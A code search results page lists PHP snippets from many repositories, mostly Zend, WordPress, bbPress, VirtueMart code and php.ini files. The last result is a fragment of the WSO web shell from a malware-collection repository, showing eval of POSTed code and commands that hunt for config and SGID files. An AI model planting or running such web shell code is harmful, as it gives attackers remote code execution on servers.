PageRenderTime 9087ms queryFilters 64ms Sphinxql 7489ms GetByIds 1023ms meta 0ms repositoryFilters 183ms languageFilters 1ms sourceFilters 62ms

126,845 results for 'php empty repo:asterix14/dolibarr' (9087 ms)

Source

Language

Repository

Entry.php http://stuffpack.googlecode.com/svn/ | PHP | 762 lines
1<?php
2/**
18 * @license    http://framework.zend.com/license/new-bsd     New BSD License
19 * @version    $Id: Entry.php 22065 2010-04-30 14:04:57Z padraic $
20 */
24 */
25require_once 'Zend/Date.php';
26
29 */
30require_once 'Zend/Uri.php';
31
31
32require_once 'Zend/Feed/Writer/Source.php';
33
87            if (!array_key_exists('name', $name) 
88                || empty($name['name']) 
89                || !is_string($name['name'])
FeedAbstract.php http://stuffpack.googlecode.com/svn/ | PHP | 806 lines
1<?php
2/**
18 * @license    http://framework.zend.com/license/new-bsd     New BSD License
19 * @version    $Id: Feed.php 20096 2010-01-06 02:05:09Z bkarwin $
20 */
24 */
25require_once 'Zend/Date.php';
26
29 */
30require_once 'Zend/Uri.php';
31
34 */
35require_once 'Zend/Feed/Writer.php';
36
39 */
40require_once 'Zend/Feed/Writer/Entry.php';
41
tmp-php.ini http://php-scheme.googlecode.com/svn/trunk/ | Unknown | 1,888 lines
6;;;;;;;;;;;;;;;;;;;
7; PHP's initialization file, generally called php.ini, is responsible for
8; configuring many of the aspects of PHP's behavior.
361; prefixes supplied here.  By default, users will only be able to set
362; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
363; Note:  If this directive is empty, PHP will let the user modify ANY
895
896; Define the User-Agent string. PHP's default setting for this is empty.
897; http://php.net/user-agent
937; Note that ODBC support is built in, so no dll is needed for it.
938; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
939; extension folders as well as the separate PECL DLL download (PHP 5).
1503
1504; Handler used to serialize data.  php is the standard serializer of PHP.
1505; http://php.net/session.serialize-handler
mtdb.base.php https://code.google.com/p/movabletype/ | PHP | 3,488 lines
1<?php
2# Movable Type (r) Open Source (C) 2001-2010 Six Apart, Ltd.
7
8require_once('adodb-exceptions.inc.php');
9require_once('adodb.inc.php');
9require_once('adodb.inc.php');
10require_once('adodb-active-record.inc.php');
11
71        if (!$this->serializer) {
72            require_once("MTSerialize.php");
73            $this->serializer = new MTSerialize();
79        if (!$this->serializer) {
80            require_once("MTSerialize.php");
81            $this->serializer = new MTSerialize();
805        }
806        if ((0 == count($filters)) && (isset($args['show_empty']) && (1 == $args['show_empty']))) {
807            return null;
archives_do.php http://jqbird.googlecode.com/svn/trunk/ | PHP | 1,032 lines
231	require_once(DEDEADMIN."/inc/inc_archives_functions.php");
232	if( !empty($aid) && empty($qstr) )
233	{
778	CheckPurview('a_Commend,sys_ArcBatch');
779	if( !empty($aid) && empty($qstr) )
780	{
841	CheckPurview('a_Commend,sys_ArcBatch');
842	if( !empty($aid) && empty($qstr) )
843	{
890	CheckPurview('a_Commend,sys_ArcBatch');
891	if( !empty($aid) && empty($qstr) )
892	{
952{
953	if( !empty($aid) && empty($qstr) )
954	{
php.ini http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,916 lines
5;;;;;;;;;;;;;;;;;;;
6; PHP's initialization file, generally called php.ini, is responsible for
7; configuring many of the aspects of PHP's behavior.
361; prefixes supplied here.  By default, users will only be able to set
362; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
363; Note:  If this directive is empty, PHP will let the user modify ANY
804
805; The root of the PHP pages, used only if nonempty.
806; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
913
914; Define the User-Agent string. PHP's default setting for this is empty.
915; http://php.net/user-agent
1526
1527; Handler used to serialize data.  php is the standard serializer of PHP.
1528; http://php.net/session.serialize-handler
php.ini.pacsave http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,307 lines
5;;;;;;;;;;;;;;;;;;;
6; This file controls many aspects of PHP's behavior.  In order for PHP to
7; read it, it must be named 'php.ini'.  PHP looks for it in the current
49;;;;;;;;;;;;;;;;;;;
50; This is the recommended, PHP 5-style version of the php.ini-dist file.  It
51; sets some non standard settings, that make PHP more efficient, more secure,
412; to a page describing the error or function causing the error in detail.
413; You can download a copy of the PHP manual from http://www.php.net/docs.php
414; and change docref_root to the base URL of your local copy including the
520
521; The root of the PHP pages, used only if nonempty.
522; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
991
992; Handler used to serialize data.  php is the standard serializer of PHP.
993session.serialize_handler = php
php.ini.pacnew http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,309 lines
5;;;;;;;;;;;;;;;;;;;
6; This file controls many aspects of PHP's behavior.  In order for PHP to
7; read it, it must be named 'php.ini'.  PHP looks for it in the current
49;;;;;;;;;;;;;;;;;;;
50; This is the recommended, PHP 5-style version of the php.ini-dist file.  It
51; sets some non standard settings, that make PHP more efficient, more secure,
417; to a page describing the error or function causing the error in detail.
418; You can download a copy of the PHP manual from http://www.php.net/docs.php
419; and change docref_root to the base URL of your local copy including the
525
526; The root of the PHP pages, used only if nonempty.
527; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
992
993; Handler used to serialize data.  php is the standard serializer of PHP.
994session.serialize_handler = php
php.ini http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,916 lines
5;;;;;;;;;;;;;;;;;;;
6; PHP's initialization file, generally called php.ini, is responsible for
7; configuring many of the aspects of PHP's behavior.
361; prefixes supplied here.  By default, users will only be able to set
362; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
363; Note:  If this directive is empty, PHP will let the user modify ANY
804
805; The root of the PHP pages, used only if nonempty.
806; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
913
914; Define the User-Agent string. PHP's default setting for this is empty.
915; http://php.net/user-agent
1526
1527; Handler used to serialize data.  php is the standard serializer of PHP.
1528; http://php.net/session.serialize-handler
php.ini.pacnew http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,897 lines
5;;;;;;;;;;;;;;;;;;;
6; PHP's initialization file, generally called php.ini, is responsible for
7; configuring many of the aspects of PHP's behavior.
361; prefixes supplied here.  By default, users will only be able to set
362; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
363; Note:  If this directive is empty, PHP will let the user modify ANY
901
902; Define the User-Agent string. PHP's default setting for this is empty.
903; http://php.net/user-agent
943; Note that ODBC support is built in, so no dll is needed for it.
944; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
945; extension folders as well as the separate PECL DLL download (PHP 5).
1515
1516; Handler used to serialize data.  php is the standard serializer of PHP.
1517; http://php.net/session.serialize-handler
php.ini http://max-repo.googlecode.com/svn/trunk/ | Unknown | 1,309 lines
5;;;;;;;;;;;;;;;;;;;
6; This file controls many aspects of PHP's behavior.  In order for PHP to
7; read it, it must be named 'php.ini'.  PHP looks for it in the current
49;;;;;;;;;;;;;;;;;;;
50; This is the recommended, PHP 5-style version of the php.ini-dist file.  It
51; sets some non standard settings, that make PHP more efficient, more secure,
417; to a page describing the error or function causing the error in detail.
418; You can download a copy of the PHP manual from http://www.php.net/docs.php
419; and change docref_root to the base URL of your local copy including the
525
526; The root of the PHP pages, used only if nonempty.
527; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
992
993; Handler used to serialize data.  php is the standard serializer of PHP.
994session.serialize_handler = php
FeedAbstract.php http://rewardvn.googlecode.com/svn/trunk/ | PHP | 842 lines
1<?php
2/**
18 * @license    http://framework.zend.com/license/new-bsd     New BSD License
19 * @version    $Id: Feed.php 20096 2010-01-06 02:05:09Z bkarwin $
20 */
24 */
25require_once 'Zend/Date.php';
26
29 */
30require_once 'Zend/Uri.php';
31
34 */
35require_once 'Zend/Feed/Writer.php';
36
39 */
40require_once 'Zend/Feed/Writer/Entry.php';
41
HamlParser.php http://phamlp.googlecode.com/svn/trunk/ | PHP | 1,250 lines
41 * + <b>css</b>: wraps the content in <style> and CDATA tags. Useful for adding inline CSS.
42 * + <b>php</b>: wraps the content in <?php tags. The content is PHP code.
43 * There are two filters that require external classes to work. See {@link http://code.google.com/p/phamlp/wiki/PredefinedFilters PredefinedFilters on the PHamlP wiki} for details of how to use them.
45 * + <b>textile</b>: Parses the filtered text with Textile.
46 * PHP can be used in all the filters (except php) by wrapping expressions in #().
47 * 
435		$this->filename = $sourceFile;
436		$helpers = "<?php\nrequire_once '".dirname(__FILE__).DIRECTORY_SEPARATOR."HamlHelpers.php';\n";
437		if (isset($this->helperFile)) {
597		// The regex treats lines starting with [.+] as an object reference; they are just content
598		if (!empty($line[self::HAML_OBJECT_REFERENCE]) && empty($line[self::HAML_TAG])) {
599			unset($line[self::HAML_OBJECT_REFERENCE]);
979	private function htmlAttrs($htmlAttrs) {
980		if (empty($htmlAttrs[1]) && empty($htmlAttrs[2])) {
981			return HamlHelpers::html_attrs();
ps_main.php http://vanphongphamdm.googlecode.com/svn/trunk/ | PHP | 1,343 lines
481	if( file_exists( $mosConfig_absolute_path . '/libraries/phpmailer/phpmailer.php') ) {
482		$phpmailer_path = $mosConfig_absolute_path . '/libraries/phpmailer/phpmailer.php';
483	}elseif( file_exists( $mosConfig_absolute_path . '/includes/phpmailer/class.phpmailer.php')) {
483	}elseif( file_exists( $mosConfig_absolute_path . '/includes/phpmailer/class.phpmailer.php')) {
484		$phpmailer_path = $mosConfig_absolute_path . '/includes/phpmailer/class.phpmailer.php';
485		$phpmailer_classname = 'mosphpmailer';
490	}
491	$phpmailer_path = dirname( $phpmailer_path );
492	$mail->PluginDir = $phpmailer_path .'/';
700 * This should overcome memory problems
701 * http://www.php.net/manual/en/function.readfile.php#54295
702 *
917	
918	if( !defined('_VM_IS_BACKEND') && empty( $_REQUEST['ajax_request']) && empty($_REQUEST['pshop_mode'])) {
919		if( isset( $_REQUEST['product_currency']) ) {
ps_checkout.php http://vanphongphamdm.googlecode.com/svn/trunk/ | PHP | 2,438 lines
187		// First check the REQUEST parameters for other steps
188		if( !empty( $_REQUEST['checkout_last_step'] ) && empty( $_POST['checkout_this_step'] )) {
189			// Make sure we have an integer (max 4)
1548					$order_tax = 0.0;
1549                    if( (!empty( $_SESSION['coupon_discount'] ) || !empty( $d['payment_discount'] ))
1550                        && PAYMENT_DISCOUNT_BEFORE == '1' ) {
1594				$total = 0.0;
1595				if( (!empty( $_SESSION['coupon_discount'] ) || !empty( $d['payment_discount'] ))
1596					&& PAYMENT_DISCOUNT_BEFORE == '1' ) {
1612				
1613						if( (!empty( $_SESSION['coupon_discount'] ) || !empty( $d['payment_discount'] ))
1614							&& PAYMENT_DISCOUNT_BEFORE == '1' ) {
1630
1631				if( (!empty( $_SESSION['coupon_discount'] ) || !empty( $d['payment_discount'] ))
1632					&& PAYMENT_DISCOUNT_BEFORE != '1' ) {
php.ini http://pspemu.googlecode.com/svn/trunk/ | Unknown | 1,861 lines
5;;;;;;;;;;;;;;;;;;;
6; PHP's initialization file, generally called php.ini, is responsible for
7; configuring many of the aspects of PHP's behavior.
373; on your server or not.
374; http://php.net/expose-php
375expose_php = On
863; Note that ODBC support is built in, so no dll is needed for it.
864; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
865; extension folders as well as the separate PECL DLL download (PHP 5).
895; The MIBS data available in the PHP distribution must be installed. 
896; See http://www.php.net/manual/en/snmp.installation.php 
897;extension=php_snmp.dll
1434
1435; Handler used to serialize data.  php is the standard serializer of PHP.
1436; http://php.net/session.serialize-handler
run-tests.php git://git.savannah.nongnu.org/jpt.git | PHP | 2,043 lines
139{
140	if (empty($php) || !file_exists($php)) {
141		error("environment variable TEST_PHP_EXECUTABLE must be set to specify PHP executable!");
143	if (function_exists('is_executable') && !@is_executable($php)) {
144		error("invalid PHP executable specified by TEST_PHP_EXECUTABLE  = " . $php);
145	}
214		$php_info_sep = "\n---------------------------------------------------------------------";
215		$php_cgi_info = "$php_info_sep\nPHP         : $php_cgi $php_info_cgi$php_info_sep";
216	} else {
241=====================================================================
242PHP         : $php $php_info $php_cgi_info
243CWD         : $cwd
1095	/* For GET/POST tests, check if cgi sapi is available and if it is, use it. */
1096	if (!empty($section_text['GET']) || !empty($section_text['POST']) || !empty($section_text['POST_RAW']) || !empty($section_text['COOKIE']) || !empty($section_text['EXPECTHEADERS'])) {
1097		if (isset($php_cgi)) {
class.bb-install.php http://cartonbank.googlecode.com/svn/trunk/ | PHP | 2,767 lines
456		if ( file_exists( BB_PATH . 'bb-config.php' ) ) {
457			$this->configs['bb-config.php'] = BB_PATH . 'bb-config.php';
458		} elseif ( file_exists( dirname( BB_PATH ) . '/bb-config.php' ) ) {
1625		$data['uri']['value'] = $data['uri']['value'] ? rtrim( $data['uri']['value'], " \t\n\r\0\x0B/" ) . '/' : '';
1626		$this->strings[3]['form_errors']['uri'][] = empty( $data['uri']['value'] ) ? 'empty' : false;
1627		if ( $parsed = parse_url( $data['uri']['value'] ) ) {
1633
1634		$this->strings[3]['form_errors']['keymaster_user_login'][] = empty( $data['keymaster_user_login']['value'] ) ? 'empty' : false;
1635		if ( $data['keymaster_user_login']['value'] != sanitize_user( $data['keymaster_user_login']['value'], true ) ) {
1640		// Check for a valid email
1641		$this->strings[3]['form_errors']['keymaster_user_email'][] = empty( $data['keymaster_user_email']['value'] ) ? 'empty' : false;
1642		$this->strings[3]['form_errors']['keymaster_user_email'][] = !is_email( $data['keymaster_user_email']['value'] ) ? 'email' : false;
1645		if ( !$this->database_tables_are_installed() ) {
1646			$this->strings[3]['form_errors']['forum_name'][] = empty( $data['forum_name']['value'] ) ? 'empty' : false;
1647		}
general-template.php http://cartonbank.googlecode.com/svn/trunk/ | PHP | 2,307 lines
1<?php
2/**
59
60	$templates[] = "footer.php";
61
766
767	if ( !empty($monthnum) && !empty($year) ) {
768		$my_year = $year;
1096	// Let's figure out when we are
1097	if ( !empty($monthnum) && !empty($year) ) {
1098		$thismonth = ''.zeroise(intval($monthnum), 2);
1799			<a id="edButtonHTML" class="active hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'html');"><?php _e('HTML'); ?></a>
1800			<a id="edButtonPreview" class="hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'tinymce');"><?php _e('Visual'); ?></a>
1801<?php	} else {
1804			<a id="edButtonHTML" class="hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'html');"><?php _e('HTML'); ?></a>
1805			<a id="edButtonPreview" class="active hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'tinymce');"><?php _e('Visual'); ?></a>
1806<?php	}
wso2.5.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1,517 lines
62		"List Directory" => "dir",
63    	"Find index.php in current dir" => "dir /s /w /b index.php",
64    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
82  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
83  		"find config.inc.php files" => "find / -type f -name config.inc.php",
84  		"find config* files" => "find / -type f -name \"config*\"",
466		eval($_POST['p1']);
467		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
468		echo strlen($temp), "\n", $temp;
490	}
491    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
492	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
958	}
959    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
960		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21